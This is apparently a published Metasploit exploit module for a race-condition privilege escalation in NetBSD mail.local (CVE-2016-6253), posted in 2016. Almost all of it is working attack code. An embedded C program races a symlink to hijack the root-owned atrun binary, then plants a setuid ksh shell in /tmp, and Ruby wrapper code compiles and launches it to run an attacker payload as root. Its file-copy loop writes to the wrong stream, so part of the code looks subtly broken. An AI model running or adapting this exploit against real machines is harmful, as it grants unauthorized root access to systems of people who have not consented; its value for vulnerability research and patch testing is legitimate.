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NetBSD mail.local Privilege Escalation

Posted on 15 September 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'NetBSD mail.local Privilege Escalation',
'Description' => %q{
This module attempts to exploit a race condition in mail.local with SUID bit set on:
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
NetBSD 6.1 - 6.1.5
NetBSD 6.0 - 6.0.6
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@stcyrsecurity.com>', # Module
'akat1' # Discovery
],

'DisclosureDate' => 'Jul 07 2016',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'SessionTypes' => %w{shell meterpreter},
'Privileged' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic openssl'
}
},
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
'References' =>
[
[ "URL", "http://akat1.pl/?id=2"],
[ "EDB", "40141"],
[ "CVE", "2016-6253"],
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
]
))
register_options([
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
], self.class)
end

def exploit
# lots of this file's format is based on pkexec.rb

# direct copy of code from exploit-db
main = %q{
// Source: http://akat1.pl/?id=2

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>

#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"

static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh
"
"cp /bin/ksh /tmp/ksh
"
"chmod +s /tmp/ksh
";
size_t size;
FILE *fh;
int rv = 0;

fh = fopen(ATRUNPATH, "wb");

if (fh == NULL) {
rv = -1;
goto out;
}

size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}

out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;

return rv;
}

static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;

in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}

if (in == NULL || out == NULL) {
rv = -1;
goto out;
}

while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}

out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}

int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;

umask(0077);

login = getlogin();

if (login == NULL)
err(EXIT_FAILURE, "who are you?");

uid = getuid();

asprintf(&mailbox, MAILDIR "/%s", login);

if (mailbox == NULL)
err(EXIT_FAILURE, NULL);

if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}

if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s
", mailbox, mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}

/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);

fprintf(stderr, "[+] backup atrun(1) %s to %s
", ATRUNPATH, atrun_backup);

if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");

/* win the race */
fprintf(stderr, "[+] try to steal %s file
", ATRUNPATH);

switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);

for(;;)
system(buf);
/* NOTREACHED */

default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!
");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);

if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s
", mailbox_backup, mailbox);

if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}

/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)
");

if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);

if (overwrite_atrun())
err(EXIT_FAILURE, NULL);

fprintf(stderr, "[+] waiting for atrun(1) execution...
");

for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}

/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s
", atrun_backup, ATRUNPATH);

if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");

if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);

fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.
");
fprintf(stderr, "Enjoy your shell:
");

execl("/tmp/ksh", "ksh", NULL);

return 0;
}
}
# patch in our variable maildir and atrunpath
main.gsub!(/#define ATRUNPATH "/usr/libexec/atrun"/,
"#define ATRUNPATH "#{datastore["ATRUNPATH"]}"")
main.gsub!(/#define MAILDIR "/var/mail"/,
"#define MAILDIR "#{datastore["MAILDIR"]}"")

executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
payload_file = "#{rand_text_alpha(8)}"
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
vprint_status("Writing Payload to #{payload_path}")
# patch in to run our payload as part of ksh
main.gsub!(/execl("/tmp/ksh", "ksh", NULL);/,
"execl("/tmp/ksh", "ksh", "#{payload_path}", NULL);")

write_file(payload_path, payload.encoded)
cmd_exec("chmod 555 #{payload_path}")
register_file_for_cleanup(payload_path)

print_status "Writing exploit to #{executable_path}.c"

# clean previous bad attempts to prevent c code from exiting
rm_f executable_path
rm_f '/tmp/atrun'
whoami = cmd_exec('whoami')
rm_f "/tmp/#{whoami}"

write_file("#{executable_path}.c", main)
print_status("Compiling #{executable_path}.c via gcc")
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
output.each_line { |line| vprint_status(line.chomp) }

print_status('Starting the payload handler...')
handler({})

print_status("Executing at #{Time.now}. May take up to 10min for callback")
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
output.each_line { |line| vprint_status(line.chomp) }

# our sleep timer
stime = Time.now.to_f
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
Rex.sleep(1)
end
print_status("#{Time.now}")
register_file_for_cleanup(executable_path)
register_file_for_cleanup("#{executable_path}.out")
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")
end
end

 

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